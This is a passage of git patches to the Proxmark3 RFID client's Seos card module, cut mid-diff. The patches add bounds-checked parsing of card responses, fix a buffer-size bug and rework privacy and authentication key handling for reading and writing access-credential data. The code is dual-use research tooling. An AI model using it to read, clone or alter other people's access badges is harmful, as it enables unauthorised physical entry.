data, data_len, aid, aid_len); } static int CmdHfSeosADF(const char *Cmd) { @@ -1702,6 +1735,7 @@ static int CmdHfSeosADF(const char *Cmd) { arg_str0("t", "tag", "", "<0-100> hex bytes for tag to read (Default: FF00)"), arg_str0("o", "oid", "", "<0-100> hex bytes for OID (Default: 2B0601040181E438010102011801010202)"), arg_int0(NULL, "ki", "", "Specify key index to set key in memory"), + arg_str0(NULL, "aid", "", "Use a custom SEOS AID"), arg_param_end }; CLIExecWithReturn(ctx, Cmd, argtable, true); @@ -1715,8 +1749,14 @@ static int CmdHfSeosADF(const char *Cmd) { CLIGetHexWithReturn(ctx, 2, oid_hex, &oid_len); int key_index = arg_get_int_def(ctx, 3, 0); + uint8_t aid[MAX_SEOS_AID_LEN] = {0}; + int aid_len = 0; + int res = seos_get_custom_aid(ctx, 4, aid, &aid_len); CLIParserFree(ctx); + if (res != PM3_SUCCESS) { + return res; + } if (data_tag_len == 0) { data_tag_len = 2; @@ -1738,7 +1778,7 @@ static int CmdHfSeosADF(const char *Cmd) { return PM3_ESOFT; } - return seos_pacs((char *)oid, oid_len, data_tag, data_tag_len, key_index); + return seos_pacs((char *)oid, oid_len, data_tag, data_tag_len, key_index, aid, aid_len); } static int CmdHfSeosSim(const char *Cmd) { @@ -2167,4 +2207,3 @@ int CmdHFSeos(const char *Cmd) { clearCommandBuffer(); return CmdsParse(CommandTable, Cmd); } - From ced4ce4c6b7451fc4456b318b25cde21245d5335 Mon Sep 17 00:00:00 2001 From: kormax <3392860+kormax@users.noreply.github.com> Date: Fri, 20 Mar 2026 20:41:19 +0200 Subject: [PATCH 135/162] Add ADF response validation for 'hf seos' commands --- client/src/cmdhfseos.c | 127 +++++++++++++++++++++++++++++++---------- 1 file changed, 97 insertions(+), 30 deletions(-) diff --git a/client/src/cmdhfseos.c b/client/src/cmdhfseos.c index 6ef450eb1..6d81834c0 100644 --- a/client/src/cmdhfseos.c +++ b/client/src/cmdhfseos.c @@ -775,38 +775,68 @@ static int select_df_decode(uint8_t *response, uint8_t response_length, int *ALG [=] -- 8E [08] 'elem' [=] 00: 81 49 C8 6A 53 5E F8 6A | .I.jS^.j */ - int ALGORITHM_INFO_value1_n = 0; - int ALGORITHM_INFO_value2_n = 0; - int bufferPoint = 0; - - for (int i = 0; i < response_length; i++) { - // ALGORITHM_INFO - if (response[i] == 0xCD) { - *ALGORITHM_INFO_value1 = (int)response[i + 2]; - ALGORITHM_INFO_value1_n = response[i + 2]; - *ALGORITHM_INFO_value2 = (int)response[i + 3]; - ALGORITHM_INFO_value2_n = response[i + 3]; - bufferPoint = i + (i + 1); - break; - } + if (response == NULL || ALGORITHM_INFO_value1 == NULL || ALGORITHM_INFO_value2 == NULL || CRYPTOGRAM_encrypted_data == NULL || MAC_value == NULL) { + PrintAndLogEx(ERR, "Invalid input to ADF response decoder"); + return PM3_ESOFT; } - for (int i = bufferPoint ; i < response_length; i++) { - // CRYPTOGRAM - if (response[i] == 0x85) { - memcpy(CRYPTOGRAM_encrypted_data, &response[i + 2], 64); - bufferPoint = i + (i + 1); - break; + bool has_algorithm_info = false; + bool has_cryptogram = false; + bool has_mac = false; + + for (size_t i = 0; i + 1 < response_length;) { + uint8_t tag = response[i]; + uint8_t tag_len = response[i + 1]; + + if (i + 2 + tag_len > response_length) { + PrintAndLogEx(ERR, "Malformed ADF response: tag 0x%02X length %u exceeds payload size %u", tag, tag_len, response_length); + return PM3_ESOFT; } + + if (tag == 0xCD) { + if (tag_len < 2) { + PrintAndLogEx(ERR, "Malformed ADF response: ALGORITHM_INFO (CD) length %u is too short", tag_len); + return PM3_ESOFT; + } + *ALGORITHM_INFO_value1 = response[i + 2]; + *ALGORITHM_INFO_value2 = response[i + 3]; + has_algorithm_info = true; + } else if (tag == 0x85) { + if (tag_len == 0 || tag_len > 64) { + PrintAndLogEx(ERR, "Malformed ADF response: CRYPTOGRAM (85) length %u, expected 64", tag_len); + return PM3_ESOFT; + } + memcpy(CRYPTOGRAM_encrypted_data, &response[i + 2], tag_len); + has_cryptogram = true; + } else if (tag == 0x8E) { + if (tag_len != 8) { + PrintAndLogEx(ERR, "Malformed ADF response: MAC (8E) length %u, expected 8", tag_len); + return PM3_ESOFT; + } + memcpy(MAC_value, &response[i + 2], tag_len); + has_mac = true; + } + + i += 2 + tag_len; } - for (int i = bufferPoint; i < response_length; i++) { - // MAC - if (response[i] == 0x8E) { - memcpy(MAC_value, &response[i + 2], 8); + if (has_algorithm_info == false || has_cryptogram == false || has_mac == false) { + if (has_algorithm_info == false) { + PrintAndLogEx(ERR, "ADF response missing ALGORITHM_INFO tag (CD)"); } + if (has_cryptogram == false) { + PrintAndLogEx(ERR, "ADF response missing CRYPTOGRAM tag (85)"); + } + if (has_mac == false) { + PrintAndLogEx(ERR, "ADF response missing MAC tag (8E)"); + } + PrintAndLogEx(ERR, "Raw ADF response.................. %s", sprint_hex_inrow(response, response_length)); + return PM3_ESOFT; } + int ALGORITHM_INFO_value1_n = *ALGORITHM_INFO_value1; + int ALGORITHM_INFO_value2_n = *ALGORITHM_INFO_value2; + const char *algorithm_name1 = NULL; for (int i = 0; i < ARRAYLEN(known_algorithm_map); i++) { if ((known_algorithm_map[i].value) == ALGORITHM_INFO_value1_n) { @@ -1240,6 +1270,10 @@ static int seos_pacs_adf_select(char *oid, int oid_len, uint8_t *data_tag, int d uint8_t Diversified_New_EncryptionKey[24] = {0}; uint8_t Diversified_New_MACKey[24] = {0}; + if (resplen <= 2) { + PrintAndLogEx(ERR, "Selecting ADF file failed (short response)."); + return PM3_EWRONGANSWER; + } resplen -= 2; uint8_t keyslot = keys[key_index].keyslot; @@ -1368,11 +1402,27 @@ static int seos_adf_select(char *oid, int oid_len, int key_index) { uint8_t MAC_value[8] = {0}; // MAC Value uint8_t RNDICC[8] = {0}; + if (resplen <= 2) { + PrintAndLogEx(ERR, "Selecting ADF file failed (short response)."); + return PM3_EWRONGANSWER; + } resplen -= 2; - seos_challenge_get(RNDICC, sizeof(RNDICC), keys[key_index].keyslot); - select_df_decode(response, resplen, &ALGORITHM_INFO_value1, &ALGORITHM_INFO_value2, CRYPTOGRAM_encrypted_data, MAC_value); - select_DF_verify(response, resplen, MAC_value, sizeof(MAC_value), ALGORITHM_INFO_value1, key_index); + res = seos_challenge_get(RNDICC, sizeof(RNDICC), keys[key_index].keyslot); + if (res != PM3_SUCCESS) { + return res; + } + + res = select_df_decode(response, resplen, &ALGORITHM_INFO_value1, &ALGORITHM_INFO_value2, CRYPTOGRAM_encrypted_data, MAC_value); + if (res != PM3_SUCCESS) { + return res; + } + + res = select_DF_verify(response, resplen, MAC_value, sizeof(MAC_value), ALGORITHM_INFO_value1, key_index); + if (res != PM3_SUCCESS) { + return res; + } + return PM3_SUCCESS; }; @@ -1413,9 +1463,26 @@ static int seos_gdf_select(int key_index) { uint8_t MAC_value[8] = {0}; // MAC Value uint8_t RNDICC[8] = {0}; - seos_challenge_get(RNDICC, sizeof(RNDICC), keys[key_index].keyslot); - select_df_decode(response, (resplen - 2), &ALGORITHM_INFO_value1, &ALGORITHM_INFO_value2, CRYPTOGRAM_encrypted_data, MAC_value); - select_DF_verify(response, resplen, MAC_value, sizeof(MAC_value), ALGORITHM_INFO_value1, key_index); + if (resplen <= 2) { + PrintAndLogEx(ERR, "Get Global_df failed (short response)."); + return PM3_EWRONGANSWER; + } + resplen -= 2; + + res = seos_challenge_get(RNDICC, sizeof(RNDICC), keys[key_index].keyslot); + if (res != PM3_SUCCESS) { + return res; + } + + res = select_df_decode(response, resplen, &ALGORITHM_INFO_value1, &ALGORITHM_INFO_value2, CRYPTOGRAM_encrypted_data, MAC_value); + if (res != PM3_SUCCESS) { + return res; + } + + res = select_DF_verify(response, resplen, MAC_value, sizeof(MAC_value), ALGORITHM_INFO_value1, key_index); + if (res != PM3_SUCCESS) { + return res; + } return PM3_SUCCESS; }; From 48c47d84c2d1c5f59d7da0543c22fb8f353b19a8 Mon Sep 17 00:00:00 2001 From: kormax <3392860+kormax@users.noreply.github.com> Date: Fri, 20 Mar 2026 20:45:19 +0200 Subject: [PATCH 136/162] Fix truncated 'le' value in some 'hf seos' commands --- client/src/cmdhfseos.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/client/src/cmdhfseos.c b/client/src/cmdhfseos.c index 6d81834c0..d5f1bf8ef 100644 --- a/client/src/cmdhfseos.c +++ b/client/src/cmdhfseos.c @@ -1226,7 +1226,7 @@ static int seos_pacs_adf_select(char *oid, int oid_len, uint8_t *data_tag, int d char adflenHex[3]; snprintf(adflenHex, sizeof(adflenHex), "%02X", (selectedADFLen >> 1) & 0xFF); - char selectADF[strlen(prefix) + strlen(adflenHex) + selectedADFLen + strlen(suffix) + 1]; + char selectADF[strlen(prefix) + strlen(keyReference) + strlen(adflenHex) + selectedADFLen + strlen(suffix) + 1]; // 80 A5 04 00 13 06 11 2B 06 01 04 01 81 E4 38 01 01 02 01 18 01 01 02 02 00 snprintf(selectADF, sizeof(selectADF), "%s%s%s%s%s", prefix, keyReference, adflenHex, selectedADF, suffix); @@ -1367,7 +1367,7 @@ static int seos_adf_select(char *oid, int oid_len, int key_index) { uint16_t selectedADFLen = strlen(selectedADF); char adflenHex[3]; snprintf(adflenHex, sizeof(adflenHex), "%02X", (selectedADFLen >> 1) & 0xFF); - char selectADF[strlen(prefix) + strlen(adflenHex) + selectedADFLen + strlen(suffix) + 1]; + char selectADF[strlen(prefix) + strlen(keyReference) + strlen(adflenHex) + selectedADFLen + strlen(suffix) + 1]; // 80 A5 04 00 13 06 11 2B 06 01 04 01 81 E4 38 01 01 02 01 18 01 01 02 02 00 snprintf(selectADF, sizeof(selectADF), "%s%s%s%s%s", prefix, keyReference, adflenHex, selectedADF, suffix); From 30013fff2bcc394b5ae3cd3d96b56dfd012b7ac7 Mon Sep 17 00:00:00 2001 From: Mistial Developer Date: Fri, 20 Mar 2026 12:06:29 -0700 Subject: [PATCH 137/162] Seos: fix key handling --- client/src/cmdhfseos.c | 600 +++++++++++++++++++++++++---------------- client/src/cmdhfseos.h | 2 +- 2 files changed, 370 insertions(+), 232 deletions(-) diff --git a/client/src/cmdhfseos.c b/client/src/cmdhfseos.c index d5f1bf8ef..d93104fee 100644 --- a/client/src/cmdhfseos.c +++ b/client/src/cmdhfseos.c @@ -17,6 +17,7 @@ //----------------------------------------------------------------------------- #include "cmdhfseos.h" #include +#include #include #include // tolower #include "cliparser.h" @@ -45,48 +46,38 @@ static uint8_t zeros[16] = {0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 #define MAX_DIVERSIFIER_LEN 16 #define MAX_OID_LEN 32 #define MAX_SEOS_AID_LEN 16 +#define SEOS_MAX_KEYS 16 static int CmdHelp(const char *Cmd); typedef struct { - uint8_t keyslot; - uint8_t nonce[8]; uint8_t privEncKey[16]; uint8_t privMacKey[16]; uint8_t authKey[16]; } keyset_t; -keyset_t keys[] = { - { - 0x01, // Keyslot - { 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 }, // Nonce - { 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 }, // privEncKey - { 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 }, // privMacKey - { 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 }, // authKey - }, - { - 0x01, // Keyslot - { 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 }, // Nonce - { 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 }, // privEncKey - { 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 }, // privMacKey - { 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 }, // authKey - }, - { - 0x02, // Keyslot - { 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 }, // Nonce - { 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 }, // privEncKey - { 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 }, // privMacKey - { 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 }, // authKey - }, - { - 0x09, // Keyslot - { 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 }, // Nonce - { 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 }, // privEncKey - { 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 }, // privMacKey - { 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 }, // authKey - }, +#define SEOS_EMPTY_KEYSET { \ + { 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 }, \ + { 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 }, \ + { 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 } \ +} + +keyset_t keys[SEOS_MAX_KEYS] = { + SEOS_EMPTY_KEYSET, + SEOS_EMPTY_KEYSET, + SEOS_EMPTY_KEYSET, + SEOS_EMPTY_KEYSET, + SEOS_EMPTY_KEYSET, + SEOS_EMPTY_KEYSET, + SEOS_EMPTY_KEYSET, + SEOS_EMPTY_KEYSET, + SEOS_EMPTY_KEYSET, + SEOS_EMPTY_KEYSET, + SEOS_EMPTY_KEYSET, }; +#undef SEOS_EMPTY_KEYSET + typedef struct { const int value; const char *name; @@ -113,6 +104,21 @@ static int seos_get_custom_aid(CLIParserContext *ctx, int arg_index, uint8_t *ai return res; } +static bool seos_parse_key_index(const char *input, int *value) { + if (input == NULL || *input == '\0') { + return false; + } + + char *end = NULL; + long parsed = strtol(input, &end, 10); + if (*end != '\0' || parsed < 0 || parsed >= (long)ARRAYLEN(keys)) { + return false; + } + + *value = (int)parsed; + return true; +} + static int create_cmac(uint8_t *key, uint8_t *input, uint8_t *out, int input_len, int output_len, int encryption_algorithm) { uint8_t iv[16] = {0x00}; uint8_t mac[16] = {0x00}; @@ -853,6 +859,8 @@ static int select_df_decode(uint8_t *response, uint8_t response_length, int *ALG } } + bool plaintext_adf = (response_length > 4 && response[0] == 0xCD && response[1] == 0x02 && response[4] == 0x06); + PrintAndLogEx(INFO, "--- " _CYAN_("Raw ADF Information") " ---------------------------"); if (algorithm_name1 != NULL) { PrintAndLogEx(SUCCESS, "algoIdCipher (Encryption)........ "_YELLOW_("%i (%s)"), ALGORITHM_INFO_value1_n, algorithm_name1); @@ -866,14 +874,38 @@ static int select_df_decode(uint8_t *response, uint8_t response_length, int *ALG PrintAndLogEx(ERR, "algoIdHash (MAC)............... %d (Unknown)", ALGORITHM_INFO_value2_n); } - // PrintAndLogEx(SUCCESS, "Raw Data......................... " _YELLOW_("%s"), sprint_hex_inrow(response, 80)); - PrintAndLogEx(SUCCESS, "CRYPTOGRAM Encrypted Data........ " _YELLOW_("%s"), sprint_hex_inrow(CRYPTOGRAM_encrypted_data, 64)); + if (plaintext_adf == false) { + PrintAndLogEx(SUCCESS, "CRYPTOGRAM Encrypted Data........ " _YELLOW_("%s"), sprint_hex_inrow(CRYPTOGRAM_encrypted_data, 64)); + } // PrintAndLogEx(SUCCESS, "MAC.............................. " _YELLOW_("%s"), sprint_hex_inrow(MAC_value, 8)); return PM3_SUCCESS; } -static int select_ADF_decrypt(const char *selectADFOID, uint8_t *CRYPTOGRAM_encrypted_data_raw, uint8_t *CRYPTOGRAM_Diversifier, int *diversifier_length_out, int encryption_algorithm, int key_index) { +static bool select_df_is_plaintext(const uint8_t *response, uint8_t response_length) { + return (response_length > 4 && response[0] == 0xCD && response[1] == 0x02 && response[4] == 0x06); +} + +static int select_df_extract_plaintext_diversifier(const uint8_t *response, uint8_t response_length, uint8_t *diversifier, int *diversifier_length) { + int adf_length = response[5]; + int cf_index = 6 + adf_length; + if (adf_length > MAX_OID_LEN || cf_index + 2 > response_length || response[4] != 0x06 || response[cf_index] != 0xCF) { + PrintAndLogEx(ERR, "Plaintext ADF response format is invalid"); + return PM3_ESOFT; + } + + int plaintext_diversifier_length = response[cf_index + 1]; + if (plaintext_diversifier_length > *diversifier_length || cf_index + 2 + plaintext_diversifier_length > response_length) { + PrintAndLogEx(ERR, "Plaintext ADF diversifier too long"); + return PM3_ESOFT; + } + + memcpy(diversifier, &response[cf_index + 2], plaintext_diversifier_length); + *diversifier_length = plaintext_diversifier_length; + return PM3_SUCCESS; +} + +static int select_ADF_decrypt(const char *selectADFOID, uint8_t *CRYPTOGRAM_encrypted_data_raw, uint8_t *CRYPTOGRAM_Diversifier, int *diversifier_length_out, int encryption_algorithm, int privacy_key_index) { // --------------- Decrypt ---------------- // 1. MAC Verify - AES/CBC-decrypt (IV || cryptogram || 16 bytes after 8e 08) with the MAC key & keep the last block @@ -900,7 +932,7 @@ static int select_ADF_decrypt(const char *selectADFOID, uint8_t *CRYPTOGRAM_encr uint8_t mac[iv_size]; uint8_t MAC_key[24] = {0x00}; - memcpy(MAC_key, keys[key_index].privMacKey, 16); + memcpy(MAC_key, keys[privacy_key_index].privMacKey, 16); create_cmac(MAC_key, CRYPTOGRAM_encrypted_data_raw, mac, iv_size, sizeof(mac), encryption_algorithm); if (memcmp(CRYPTOGRAM_encrypted_data_raw + iv_size, mac, iv_size) != 0) { PrintAndLogEx(ERR, "Synthesized IV Verification Failed"); @@ -909,7 +941,7 @@ static int select_ADF_decrypt(const char *selectADFOID, uint8_t *CRYPTOGRAM_encr } uint8_t privEncKey[16] = {}; - memcpy(privEncKey, keys[key_index].privEncKey, 16); + memcpy(privEncKey, keys[privacy_key_index].privEncKey, 16); uint8_t CRYPTOGRAM_decrypted_data[64]; decrypt_cryptogram(privEncKey, CRYPTOGRAM_encrypted_data_raw, CRYPTOGRAM_decrypted_data, ARRAYLEN(CRYPTOGRAM_decrypted_data), encryption_algorithm); @@ -979,12 +1011,12 @@ static int select_ADF_decrypt(const char *selectADFOID, uint8_t *CRYPTOGRAM_encr return PM3_ESOFT; }; -static int seos_mutual_auth(uint8_t *adfOID, size_t adfoid_len, uint8_t *randomICC, uint8_t *CRYPTOGRAM_Diversifier, uint8_t diversifier_len, uint8_t *mutual_auth_randomIFD, uint8_t *mutual_auth_keyICC, uint8_t *randomIFD, uint8_t randomIFD_len, uint8_t *keyIFD, uint8_t keyIFD_len, int encryption_algorithm, int hash_algorithm, int key_index, uint8_t keyslot) { +static int seos_mutual_auth(uint8_t *adfOID, size_t adfoid_len, uint8_t *randomICC, uint8_t *CRYPTOGRAM_Diversifier, uint8_t diversifier_len, uint8_t *mutual_auth_randomIFD, uint8_t *mutual_auth_keyICC, uint8_t *randomIFD, uint8_t randomIFD_len, uint8_t *keyIFD, uint8_t keyIFD_len, int encryption_algorithm, int hash_algorithm, int auth_key_index, uint8_t auth_key_slot) { uint8_t response[PM3_CMD_DATA_SIZE]; // ---------------- Diversify Keys ---------------- uint8_t mk[16] = { 0x00 }; - memcpy(mk, keys[key_index].authKey, 16); + memcpy(mk, keys[auth_key_index].authKey, 16); uint8_t AES_key[24] = {0x00}; uint8_t MAC_key[24] = {0x00}; @@ -996,8 +1028,8 @@ static int seos_mutual_auth(uint8_t *adfOID, size_t adfoid_len, uint8_t *randomI return PM3_ESOFT; } - seos_kdf(true, mk, keyslot, adfOID, adfoid_len, CRYPTOGRAM_Diversifier, diversifier_len, AES_key, encryption_algorithm, hash_algorithm); - seos_kdf(false, mk, keyslot, adfOID, adfoid_len, CRYPTOGRAM_Diversifier, diversifier_len, MAC_key, encryption_algorithm, hash_algorithm); + seos_kdf(true, mk, auth_key_slot, adfOID, adfoid_len, CRYPTOGRAM_Diversifier, diversifier_len, AES_key, encryption_algorithm, hash_algorithm); + seos_kdf(false, mk, auth_key_slot, adfOID, adfoid_len, CRYPTOGRAM_Diversifier, diversifier_len, MAC_key, encryption_algorithm, hash_algorithm); memcpy(&MAC_key[16], &MAC_key[0], 8); memcpy(&AES_key[16], &AES_key[0], 8); @@ -1044,7 +1076,7 @@ static int seos_mutual_auth(uint8_t *adfOID, size_t adfoid_len, uint8_t *randomI const char *mutual_auth_message = sprint_hex_inrow(message_authenticated, sizeof(message_authenticated)); char keyslot_str[3]; - snprintf(keyslot_str, sizeof(keyslot_str), "%02X", keyslot); + snprintf(keyslot_str, sizeof(keyslot_str), "%02X", auth_key_slot); const char *prefix = "008700"; const char *ASN1_tagAbove = "7c"; @@ -1190,7 +1222,7 @@ static int seos_aid_select(const uint8_t *custom_aid, int custom_aid_len) { return res; }; -static int seos_pacs_adf_select(char *oid, int oid_len, uint8_t *data_tag, int data_tag_len, int key_index, uint8_t *write, int write_len) { +static int seos_pacs_adf_select(char *oid, int oid_len, uint8_t *data_tag, int data_tag_len, int privacy_key_index, int auth_key_index, uint8_t *write, int write_len) { int resplen = 0; uint8_t response[PM3_CMD_DATA_SIZE]; bool activate_field = false; @@ -1276,8 +1308,8 @@ static int seos_pacs_adf_select(char *oid, int oid_len, uint8_t *data_tag, int d } resplen -= 2; - uint8_t keyslot = keys[key_index].keyslot; - res = seos_challenge_get(RNDICC, sizeof(RNDICC), keyslot); + uint8_t auth_slot = auth_key_index; + res = seos_challenge_get(RNDICC, sizeof(RNDICC), auth_slot); if (res != PM3_SUCCESS) { return res; } @@ -1285,9 +1317,13 @@ static int seos_pacs_adf_select(char *oid, int oid_len, uint8_t *data_tag, int d if (res != PM3_SUCCESS) { return res; } - res = select_DF_verify(response, resplen, MAC_value, sizeof(MAC_value), ALGORITHM_INFO_value1, key_index); - if (res != PM3_SUCCESS) { - return res; + + bool plaintext_adf = select_df_is_plaintext(response, resplen); + if (plaintext_adf == false) { + res = select_DF_verify(response, resplen, MAC_value, sizeof(MAC_value), ALGORITHM_INFO_value1, privacy_key_index); + if (res != PM3_SUCCESS) { + return res; + } } if (ALGORITHM_INFO_value1 == 0x09 || ALGORITHM_INFO_value1 == 0x02) { @@ -1298,11 +1334,20 @@ static int seos_pacs_adf_select(char *oid, int oid_len, uint8_t *data_tag, int d int diversifier_length = sizeof(diversifier); - res = select_ADF_decrypt(selectedADF, CRYPTOGRAM_encrypted_data, diversifier, &diversifier_length, ALGORITHM_INFO_value1, key_index); - if (res != PM3_SUCCESS) { - return res; + if (plaintext_adf) { + res = select_df_extract_plaintext_diversifier(response, resplen, diversifier, &diversifier_length); + if (res != PM3_SUCCESS) { + return res; + } + PrintAndLogEx(INFO, "--- " _CYAN_("Plaintext ADF") " ---------------------------"); + PrintAndLogEx(SUCCESS, "Diversifier...................... " _YELLOW_("%s"), sprint_hex_inrow(diversifier, diversifier_length)); + } else { + res = select_ADF_decrypt(selectedADF, CRYPTOGRAM_encrypted_data, diversifier, &diversifier_length, ALGORITHM_INFO_value1, privacy_key_index); + if (res != PM3_SUCCESS) { + return res; + } } - res = seos_mutual_auth(adf_bytes, adf_bytes_len, RNDICC, diversifier, diversifier_length, RNDIFD, KeyICC, RNDIFD, sizeof(RNDIFD), KeyIFD, sizeof(KeyIFD), ALGORITHM_INFO_value1, ALGORITHM_INFO_value2, key_index, keyslot); + res = seos_mutual_auth(adf_bytes, adf_bytes_len, RNDICC, diversifier, diversifier_length, RNDIFD, KeyICC, RNDIFD, sizeof(RNDIFD), KeyIFD, sizeof(KeyIFD), ALGORITHM_INFO_value1, ALGORITHM_INFO_value2, auth_key_index, auth_key_index); if (res != PM3_SUCCESS) { return res; } @@ -1341,7 +1386,7 @@ static int seos_pacs_adf_select(char *oid, int oid_len, uint8_t *data_tag, int d return PM3_SUCCESS; }; -static int seos_adf_select(char *oid, int oid_len, int key_index) { +static int seos_adf_select(char *oid, int oid_len, int privacy_key_index, int auth_key_index) { int resplen = 0; uint8_t response[PM3_CMD_DATA_SIZE]; bool activate_field = false; @@ -1408,7 +1453,7 @@ static int seos_adf_select(char *oid, int oid_len, int key_index) { } resplen -= 2; - res = seos_challenge_get(RNDICC, sizeof(RNDICC), keys[key_index].keyslot); + res = seos_challenge_get(RNDICC, sizeof(RNDICC), auth_key_index); if (res != PM3_SUCCESS) { return res; } @@ -1418,11 +1463,20 @@ static int seos_adf_select(char *oid, int oid_len, int key_index) { return res; } - res = select_DF_verify(response, resplen, MAC_value, sizeof(MAC_value), ALGORITHM_INFO_value1, key_index); - if (res != PM3_SUCCESS) { - return res; + if (select_df_is_plaintext(response, resplen) == false) { + res = select_DF_verify(response, resplen, MAC_value, sizeof(MAC_value), ALGORITHM_INFO_value1, privacy_key_index); + if (res != PM3_SUCCESS) { + return res; + } + } else { + int diversifier_length = MAX_DIVERSIFIER_LEN; + uint8_t diversifier[MAX_DIVERSIFIER_LEN] = {0}; + res = select_df_extract_plaintext_diversifier(response, resplen, diversifier, &diversifier_length); + if (res == PM3_SUCCESS) { + PrintAndLogEx(INFO, "--- " _CYAN_("Plaintext ADF") " ---------------------------"); + PrintAndLogEx(SUCCESS, "Diversifier...................... " _YELLOW_("%s"), sprint_hex_inrow(diversifier, diversifier_length)); + } } - return PM3_SUCCESS; }; @@ -1469,7 +1523,7 @@ static int seos_gdf_select(int key_index) { } resplen -= 2; - res = seos_challenge_get(RNDICC, sizeof(RNDICC), keys[key_index].keyslot); + res = seos_challenge_get(RNDICC, sizeof(RNDICC), key_index); if (res != PM3_SUCCESS) { return res; } @@ -1479,15 +1533,17 @@ static int seos_gdf_select(int key_index) { return res; } - res = select_DF_verify(response, resplen, MAC_value, sizeof(MAC_value), ALGORITHM_INFO_value1, key_index); - if (res != PM3_SUCCESS) { - return res; + if (select_df_is_plaintext(response, resplen) == false) { + res = select_DF_verify(response, resplen, MAC_value, sizeof(MAC_value), ALGORITHM_INFO_value1, key_index); + if (res != PM3_SUCCESS) { + return res; + } } return PM3_SUCCESS; }; -static int seos_select(const uint8_t *aid, int aid_len) { +static int seos_select(const uint8_t *aid, int aid_len, int privacy_key_index, int auth_key_index) { int res = seos_aid_select(aid, aid_len); if (res != PM3_SUCCESS) { DropField(); @@ -1496,31 +1552,31 @@ static int seos_select(const uint8_t *aid, int aid_len) { const char *oid = "2B0601040181E438010102011801010202"; int oid_len = strlen(oid); - res = seos_adf_select((char *)oid, oid_len, 0); + res = seos_adf_select((char *)oid, oid_len, privacy_key_index, auth_key_index); DropField(); return res; } -static int seos_pacs(char *oid, int oid_len, uint8_t *data_tag, int data_tag_len, int key_index, const uint8_t *aid, int aid_len) { +static int seos_pacs(char *oid, int oid_len, uint8_t *data_tag, int data_tag_len, int privacy_key_index, int auth_key_index, const uint8_t *aid, int aid_len) { int res = seos_aid_select(aid, aid_len); if (res != PM3_SUCCESS) { DropField(); return res; } - res = seos_pacs_adf_select(oid, oid_len, data_tag, data_tag_len, key_index, NULL, 0); + res = seos_pacs_adf_select(oid, oid_len, data_tag, data_tag_len, privacy_key_index, auth_key_index, NULL, 0); DropField(); return res; } -static int seos_write(char *oid, int oid_len, uint8_t *data_tag, int data_tag_len, int key_index, uint8_t *write, int write_len, const uint8_t *aid, int aid_len) { +static int seos_write(char *oid, int oid_len, uint8_t *data_tag, int data_tag_len, int privacy_key_index, int auth_key_index, uint8_t *write, int write_len, const uint8_t *aid, int aid_len) { int res = seos_aid_select(aid, aid_len); if (res != PM3_SUCCESS) { DropField(); return res; } - res = seos_pacs_adf_select(oid, oid_len, data_tag, data_tag_len, key_index, write, write_len); + res = seos_pacs_adf_select(oid, oid_len, data_tag, data_tag_len, privacy_key_index, auth_key_index, write, write_len); DropField(); return res; } @@ -1538,24 +1594,23 @@ static int seos_print_keys(bool verbose) { PrintAndLogEx(NORMAL, ""); if (verbose) { for (int i = 0; i < ARRAYLEN(keys); i++) { + uint8_t privacy_key[32] = {0}; + memcpy(privacy_key, keys[i].privEncKey, sizeof(keys[i].privEncKey)); + memcpy(privacy_key + sizeof(keys[i].privEncKey), keys[i].privMacKey, sizeof(keys[i].privMacKey)); PrintAndLogEx(INFO, "Key Index........................ " _YELLOW_("%u"), i); - PrintAndLogEx(INFO, "Keyslot.......................... " _YELLOW_("%s"), sprint_hex(&keys[i].keyslot, 1)); - PrintAndLogEx(INFO, "Nonce............................ " _YELLOW_("%s"), sprint_hex(keys[i].nonce, 8)); - PrintAndLogEx(INFO, "Privacy Encryption Key........... " _YELLOW_("%s"), sprint_hex(keys[i].privEncKey, 16)); - PrintAndLogEx(INFO, "Privacy MAC Key.................. " _YELLOW_("%s"), sprint_hex(keys[i].privMacKey, 16)); + PrintAndLogEx(INFO, "Privacy Key...................... " _YELLOW_("%s"), sprint_hex(privacy_key, sizeof(privacy_key))); 